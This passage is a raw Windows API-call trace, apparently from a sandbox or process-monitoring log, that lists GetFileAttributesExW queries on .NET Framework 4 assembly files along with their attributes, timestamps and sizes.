	[0088.440] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\System.ServiceModel.NetTcp.dll" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\system.servicemodel.nettcp.dll"), fInfoLevelId=0x0, lpFileInformation=0x126c5d68 | out: lpFileInformation=0x126c5d68*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xef914800, ftCreationTime.dwHighDateTime=0x1d0aa91, ftLastAccessTime.dwLowDateTime=0x63b7d880, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0xef914800, ftLastWriteTime.dwHighDateTime=0x1d0aa91, nFileSizeHigh=0x0, nFileSizeLow=0x72f8)) returned 1
	[0088.441] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\System.ServiceModel.Primitives.dll" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\system.servicemodel.primitives.dll"), fInfoLevelId=0x0, lpFileInformation=0x126c5db8 | out: lpFileInformation=0x126c5db8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xef914800, ftCreationTime.dwHighDateTime=0x1d0aa91, ftLastAccessTime.dwLowDateTime=0x63bc9b40, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0xef914800, ftLastWriteTime.dwHighDateTime=0x1d0aa91, nFileSizeHigh=0x0, nFileSizeLow=0x8510)) returned 1
	[0088.441] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\System.ServiceModel.Routing.dll" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\system.servicemodel.routing.dll"), fInfoLevelId=0x0, lpFileInformation=0x126c5e08 | out: lpFileInformation=0x126c5e08*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xef914800, ftCreationTime.dwHighDateTime=0x1d0aa91, ftLastAccessTime.dwLowDateTime=0x63c15e00, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0xef914800, ftLastWriteTime.dwHighDateTime=0x1d0aa91, nFileSizeHigh=0x0, nFileSizeLow=0x1fef0)) returned 1
	[0088.441] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\System.ServiceModel.Security.dll" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\system.servicemodel.security.dll"), fInfoLevelId=0x0, lpFileInformation=0x126c5e58 | out: lpFileInformation=0x126c5e58*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xef914800, ftCreationTime.dwHighDateTime=0x1d0aa91, ftLastAccessTime.dwLowDateTime=0x63c3bf60, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0xef914800, ftLastWriteTime.dwHighDateTime=0x1d0aa91, nFileSizeHigh=0x0, nFileSizeLow=0x7500)) returned 1
	[0088.441] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\System.ServiceModel.ServiceMoniker40.dll" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\system.servicemodel.servicemoniker40.dll"), fInfoLevelId=0x0, lpFileInformation=0x126c5ea8 | out: lpFileInformation=0x126c5ea8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xef914800, ftCreationTime.dwHighDateTime=0x1d0aa91, ftLastAccessTime.dwLowDateTime=0x63c88220, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0xef914800, ftLastWriteTime.dwHighDateTime=0x1d0aa91, nFileSizeHigh=0x0, nFileSizeLow=0x5b10)) returned 1
	[0088.442] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\System.ServiceModel.WasHosting.dll" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\system.servicemodel.washosting.dll"), fInfoLevelId=0x0, lpFileInformation=0x126c5ef8 | out: lpFileInformation=0x126c5ef8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xef914800, ftCreationTime.dwHighDateTime=0x1d0aa91, ftLastAccessTime.dwLowDateTime=0x63cae380, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0xef914800, ftLastWriteTime.dwHighDateTime=0x1d0aa91, nFileSizeHigh=0x0, nFileSizeLow=0x98f8)) returned 1
	[0088.442] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\System.ServiceModel.Web.dll" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\system.servicemodel.web.dll"), fInfoLevelId=0x0, lpFileInformation=0x126c5f48 | out: lpFileInformation=0x126c5f48*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xef914800, ftCreationTime.dwHighDateTime=0x1d0aa91, ftLastAccessTime.dwLowDateTime=0x63cfa640, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0xef914800, ftLastWriteTime.dwHighDateTime=0x1d0aa91, nFileSizeHigh=0x0, nFileSizeLow=0x504e8)) returned 1
	[0088.442] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\System.ServiceModel.dll" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\system.servicemodel.dll"), fInfoLevelId=0x0, lpFileInformation=0x126c5f98 | out: lpFileInformation=0x126c5f98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xef914800, ftCreationTime.dwHighDateTime=0x1d0aa91, ftLastAccessTime.dwLowDateTime=0x63694b20, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0xef914800, ftLastWriteTime.dwHighDateTime=0x1d0aa91, nFileSizeHigh=0x0, nFileSizeLow=0x5e88d0)) returned 1
	[0088.443] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\System.ServiceProcess.dll" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\system.serviceprocess.dll"), fInfoLevelId=0x0, lpFileInformation=0x126e6008 | out: lpFileInformation=0x126e6008*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xef914800, ftCreationTime.dwHighDateTime=0x1d0aa91, ftLastAccessTime.dwLowDateTime=0x6830cde0, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0xef914800, ftLastWriteTime.dwHighDateTime=0x1d0aa91, nFileSizeHigh=0x0, nFileSizeLow=0x20ad8)) returned 1
	[0088.443] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\System.Text.Encoding.Extensions.dll" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\system.text.encoding.extensions.dll"), fInfoLevelId=0x0, lpFileInformation=0x126e6058 | out: lpFileInformation=0x126e6058*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xef914800, ftCreationTime.dwHighDateTime=0x1d0aa91, ftLastAccessTime.dwLowDateTime=0x63d6ca60, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0xef914800, ftLastWriteTime.dwHighDateTime=0x1d0aa91, nFileSizeHigh=0x0, nFileSizeLow=0x7118)) returned 1
	[0088.443] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\System.Text.Encoding.dll" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\system.text.encoding.dll"), fInfoLevelId=0x0, lpFileInformation=0x126e60a8 | out: lpFileInformation=0x126e60a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xef914800, ftCreationTime.dwHighDateTime=0x1d0aa91, ftLastAccessTime.dwLowDateTime=0x63d46900, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0xef914800, ftLastWriteTime.dwHighDateTime=0x1d0aa91, nFileSizeHigh=0x0, nFileSizeLow=0x72d0)) returned 1
	[0088.459] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\System.Text.RegularExpressions.dll" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\system.text.regularexpressions.dll"), fInfoLevelId=0x0, lpFileInformation=0x126e60f8 | out: lpFileInformation=0x126e60f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xef914800, ftCreationTime.dwHighDateTime=0x1d0aa91, ftLastAccessTime.dwLowDateTime=0x63db8d20, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0xef914800, ftLastWriteTime.dwHighDateTime=0x1d0aa91, nFileSizeHigh=0x0, nFileSizeLow=0x7310)) returned 1
	[0088.461] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\System.Threading.Tasks.Parallel.dll" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\system.threading.tasks.parallel.dll"), fInfoLevelId=0x0, lpFileInformation=0x126e6148 | out: lpFileInformation=0x126e6148*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xef914800, ftCreationTime.dwHighDateTime=0x1d0aa91, ftLastAccessTime.dwLowDateTime=0x63e77400, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0xef914800, ftLastWriteTime.dwHighDateTime=0x1d0aa91, nFileSizeHigh=0x0, nFileSizeLow=0x7318)) returned 1
	[0088.461] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\System.Threading.Tasks.dll" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\system.threading.tasks.dll"), fInfoLevelId=0x0, lpFileInformation=0x126e6198 | out: lpFileInformation=0x126e6198*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xef914800, ftCreationTime.dwHighDateTime=0x1d0aa91, ftLastAccessTime.dwLowDateTime=0x63e2b140, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0xef914800, ftLastWriteTime.dwHighDateTime=0x1d0aa91, nFileSizeHigh=0x0, nFileSizeLow=0x74e0)) returned 1
	[0088.462] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\System.Threading.Timer.dll" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\system.threading.timer.dll"), fInfoLevelId=0x0, lpFileInformation=0x126e61e8 | out: lpFileInformation=0x126e61e8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xef914800, ftCreationTime.dwHighDateTime=0x1d0aa91, ftLastAccessTime.dwLowDateTime=0x63e9d560, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0xef914800, ftLastWriteTime.dwHighDateTime=0x1d0aa91, nFileSizeHigh=0x0, nFileSizeLow=0x72e0)) returned 1
	[0088.462] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\System.Threading.dll" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\system.threading.dll"), fInfoLevelId=0x0, lpFileInformation=0x126e6238 | out: lpFileInformation=0x126e6238*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xef914800, ftCreationTime.dwHighDateTime=0x1d0aa91, ftLastAccessTime.dwLowDateTime=0x63e04fe0, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0xef914800, ftLastWriteTime.dwHighDateTime=0x1d0aa91, nFileSizeHigh=0x0, nFileSizeLow=0x74b8)) returned 1
	[0088.462] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\System.Transactions.dll" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\system.transactions.dll"), fInfoLevelId=0x0, lpFileInformation=0x126e6288 | out: lpFileInformation=0x126e6288*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x82c97e00, ftCreationTime.dwHighDateTime=0x1d0aa90, ftLastAccessTime.dwLowDateTime=0x683590a0, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0x82c97e00, ftLastWriteTime.dwHighDateTime=0x1d0aa90, nFileSizeHigh=0x0, nFileSizeLow=0x47cd0)) returned 1
	[0088.462] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\System.Web.Abstractions.dll" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\system.web.abstractions.dll"), fInfoLevelId=0x0, lpFileInformation=0x126e62d8 | out: lpFileInformation=0x126e62d8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xef914800, ftCreationTime.dwHighDateTime=0x1d0aa91, ftLastAccessTime.dwLowDateTime=0x63e9d560, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0xef914800, ftLastWriteTime.dwHighDateTime=0x1d0aa91, nFileSizeHigh=0x0, nFileSizeLow=0x5980)) returned 1
	[0088.463] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\System.Web.ApplicationServices.dll" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\system.web.applicationservices.dll"), fInfoLevelId=0x0, lpFileInformation=0x126e6328 | out: lpFileInformation=0x126e6328*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xef914800, ftCreationTime.dwHighDateTime=0x1d0aa91, ftLastAccessTime.dwLowDateTime=0x63ee9820, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0xef914800, ftLastWriteTime.dwHighDateTime=0x1d0aa91, nFileSizeHigh=0x0, nFileSizeLow=0x11510)) returned 1
	[0088.463] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\System.Web.DataVisualization.Design.dll" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\system.web.datavisualization.design.dll"), fInfoLevelId=0x0, lpFileInformation=0x126e6378 | out: lpFileInformation=0x126e6378*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xef914800, ftCreationTime.dwHighDateTime=0x1d0aa91, ftLastAccessTime.dwLowDateTime=0x63f0f980, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0xef914800, ftLastWriteTime.dwHighDateTime=0x1d0aa91, nFileSizeHigh=0x0, nFileSizeLow=0x19db0)) returned 1
	[0088.463] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\System.Web.DataVisualization.dll" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\system.web.datavisualization.dll"), fInfoLevelId=0x0, lpFileInformation=0x126e63c8 | out: lpFileInformation=0x126e63c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xef914800, ftCreationTime.dwHighDateTime=0x1d0aa91, ftLastAccessTime.dwLowDateTime=0x56c8bfe0, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0xef914800, ftLastWriteTime.dwHighDateTime=0x1d0aa91, nFileSizeHigh=0x0, nFileSizeLow=0x19dd90)) returned 1
	[0088.464] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\System.Web.DynamicData.Design.dll" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\system.web.dynamicdata.design.dll"), fInfoLevelId=0x0, lpFileInformation=0x126e6418 | out: lpFileInformation=0x126e6418*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xef914800, ftCreationTime.dwHighDateTime=0x1d0aa91, ftLastAccessTime.dwLowDateTime=0x63f35ae0, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0xef914800, ftLastWriteTime.dwHighDateTime=0x1d0aa91, nFileSizeHigh=0x0, nFileSizeLow=0xaf98)) returned 1
	[0088.464] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\System.Web.DynamicData.dll" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\system.web.dynamicdata.dll"), fInfoLevelId=0x0, lpFileInformation=0x126e6468 | out: lpFileInformation=0x126e6468*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xef914800, ftCreationTime.dwHighDateTime=0x1d0aa91, ftLastAccessTime.dwLowDateTime=0x63f5bc40, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0xef914800, ftLastWriteTime.dwHighDateTime=0x1d0aa91, nFileSizeHigh=0x0, nFileSizeLow=0x3bf78)) returned 1
	[0088.464] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\System.Web.Entity.Design.dll" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\system.web.entity.design.dll"), fInfoLevelId=0x0, lpFileInformation=0x126e64b8 | out: lpFileInformation=0x126e64b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xef914800, ftCreationTime.dwHighDateTime=0x1d0aa91, ftLastAccessTime.dwLowDateTime=0x63fce060, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0xef914800, ftLastWriteTime.dwHighDateTime=0x1d0aa91, nFileSizeHigh=0x0, nFileSizeLow=0x2a2e0)) returned 1
	[0088.464] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\System.Web.Entity.dll" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\system.web.entity.dll"), fInfoLevelId=0x0, lpFileInformation=0x126e6508 | out: lpFileInformation=0x126e6508*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xef914800, ftCreationTime.dwHighDateTime=0x1d0aa91, ftLastAccessTime.dwLowDateTime=0x63ff41c0, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0xef914800, ftLastWriteTime.dwHighDateTime=0x1d0aa91, nFileSizeHigh=0x0, nFileSizeLow=0x284c8)) returned 1
	[0088.465] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\System.Web.Extensions.Design.dll" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\system.web.extensions.design.dll"), fInfoLevelId=0x0, lpFileInformation=0x126e6558 | out: lpFileInformation=0x126e6558*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xef914800, ftCreationTime.dwHighDateTime=0x1d0aa91, ftLastAccessTime.dwLowDateTime=0x640665e0, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0xef914800, ftLastWriteTime.dwHighDateTime=0x1d0aa91, nFileSizeHigh=0x0, nFileSizeLow=0x55f90)) returned 1
	[0088.465] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\System.Web.Extensions.dll" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\system.web.extensions.dll"), fInfoLevelId=0x0, lpFileInformation=0x126e65a8 | out: lpFileInformation=0x126e65a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xef914800, ftCreationTime.dwHighDateTime=0x1d0aa91, ftLastAccessTime.dwLowDateTime=0x64124cc0, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0xef914800, ftLastWriteTime.dwHighDateTime=0x1d0aa91, nFileSizeHigh=0x0, nFileSizeLow=0x1c36d8)) returned 1
	[0088.465] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\System.Web.Mobile.dll" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\system.web.mobile.dll"), fInfoLevelId=0x0, lpFileInformation=0x126e65f8 | out: lpFileInformation=0x126e65f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xef914800, ftCreationTime.dwHighDateTime=0x1d0aa91, ftLastAccessTime.dwLowDateTime=0x6acdb040, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0xef914800, ftLastWriteTime.dwHighDateTime=0x1d0aa91, nFileSizeHigh=0x0, nFileSizeLow=0xcaec8)) returned 1
	[0088.466] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\System.Web.RegularExpressions.dll" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\system.web.regularexpressions.dll"), fInfoLevelId=0x0, lpFileInformation=0x126e6648 | out: lpFileInformation=0x126e6648*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xef914800, ftCreationTime.dwHighDateTime=0x1d0aa91, ftLastAccessTime.dwLowDateTime=0x6ad735c0, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0xef914800, ftLastWriteTime.dwHighDateTime=0x1d0aa91, nFileSizeHigh=0x0, nFileSizeLow=0x19cf8)) returned 1
	[0088.466] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\System.Web.Routing.dll" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\system.web.routing.dll"), fInfoLevelId=0x0, lpFileInformation=0x126e6698 | out: lpFileInformation=0x126e6698*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xef914800, ftCreationTime.dwHighDateTime=0x1d0aa91, ftLastAccessTime.dwLowDateTime=0x64209500, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0xef914800, ftLastWriteTime.dwHighDateTime=0x1d0aa91, nFileSizeHigh=0x0, nFileSizeLow=0x5768)) returned 1
	[0088.466] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\System.Web.Services.dll" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\system.web.services.dll"), fInfoLevelId=0x0, lpFileInformation=0x126e66e8 | out: lpFileInformation=0x126e66e8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xef914800, ftCreationTime.dwHighDateTime=0x1d0aa91, ftLastAccessTime.dwLowDateTime=0x6ade59e0, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0xef914800, ftLastWriteTime.dwHighDateTime=0x1d0aa91, nFileSizeHigh=0x0, nFileSizeLow=0xcf2d0)) returned 1
	[0088.466] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\System.Web.dll" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\system.web.dll"), fInfoLevelId=0x0, lpFileInformation=0x126e6738 | out: lpFileInformation=0x126e6738*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x82c97e00, ftCreationTime.dwHighDateTime=0x1d0aa90, ftLastAccessTime.dwLowDateTime=0x68606960, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0x82c97e00, ftLastWriteTime.dwHighDateTime=0x1d0aa90, nFileSizeHigh=0x0, nFileSizeLow=0x51dea8)) returned 1
	[0088.467] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\System.Web.tlb" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\system.web.tlb"), fInfoLevelId=0x0, lpFileInformation=0x126e6788 | out: lpFileInformation=0x126e6788*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbc46bd00, ftCreationTime.dwHighDateTime=0x1d0aa81, ftLastAccessTime.dwLowDateTime=0x6ae31ca0, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0xbc46bd00, ftLastWriteTime.dwHighDateTime=0x1d0aa81, nFileSizeHigh=0x0, nFileSizeLow=0x1800)) returned 1
	[0088.467] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\System.Windows.Forms.DataVisualization.Design.dll" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\system.windows.forms.datavisualization.design.dll"), fInfoLevelId=0x0, lpFileInformation=0x126e67d8 | out: lpFileInformation=0x126e67d8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xef914800, ftCreationTime.dwHighDateTime=0x1d0aa91, ftLastAccessTime.dwLowDateTime=0x642a1a80, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0xef914800, ftLastWriteTime.dwHighDateTime=0x1d0aa91, nFileSizeHigh=0x0, nFileSizeLow=0x141d8)) returned 1
	[0088.468] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\System.Windows.Forms.DataVisualization.dll" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\system.windows.forms.datavisualization.dll"), fInfoLevelId=0x0, lpFileInformation=0x126e6828 | out: lpFileInformation=0x126e6828*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xef914800, ftCreationTime.dwHighDateTime=0x1d0aa91, ftLastAccessTime.dwLowDateTime=0x6ba3ec00, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0xef914800, ftLastWriteTime.dwHighDateTime=0x1d0aa91, nFileSizeHigh=0x0, nFileSizeLow=0x1a0db8)) returned 1
	[0088.468] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\System.Windows.Forms.dll" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\system.windows.forms.dll"), fInfoLevelId=0x0, lpFileInformation=0x126e6878 | out: lpFileInformation=0x126e6878*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xef914800, ftCreationTime.dwHighDateTime=0x1d0aa91, ftLastAccessTime.dwLowDateTime=0x6afd4bc0, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0xef914800, ftLastWriteTime.dwHighDateTime=0x1d0aa91, nFileSizeHigh=0x0, nFileSizeLow=0x498ed0)) returned 1
	[0088.468] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\System.Windows.Forms.tlb" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\system.windows.forms.tlb"), fInfoLevelId=0x0, lpFileInformation=0x126e68c8 | out: lpFileInformation=0x126e68c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa5a06600, ftCreationTime.dwHighDateTime=0x1d0aa81, ftLastAccessTime.dwLowDateTime=0x6b177ae0, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0xa5a06600, ftLastWriteTime.dwHighDateTime=0x1d0aa81, nFileSizeHigh=0x0, nFileSizeLow=0x14e00)) returned 1
	[0088.469] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\System.Windows.dll" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\system.windows.dll"), fInfoLevelId=0x0, lpFileInformation=0x126e6918 | out: lpFileInformation=0x126e6918*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xef914800, ftCreationTime.dwHighDateTime=0x1d0aa91, ftLastAccessTime.dwLowDateTime=0x642557c0, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0xef914800, ftLastWriteTime.dwHighDateTime=0x1d0aa91, nFileSizeHigh=0x0, nFileSizeLow=0x7ab0)) returned 1
	[0088.469] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\System.Workflow.Activities.dll" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\system.workflow.activities.dll"), fInfoLevelId=0x0, lpFileInformation=0x126e6968 | out: lpFileInformation=0x126e6968*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xef914800, ftCreationTime.dwHighDateTime=0x1d0aa91, ftLastAccessTime.dwLowDateTime=0x64360160, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0xef914800, ftLastWriteTime.dwHighDateTime=0x1d0aa91, nFileSizeHigh=0x0, nFileSizeLow=0x1012e8)) returned 1
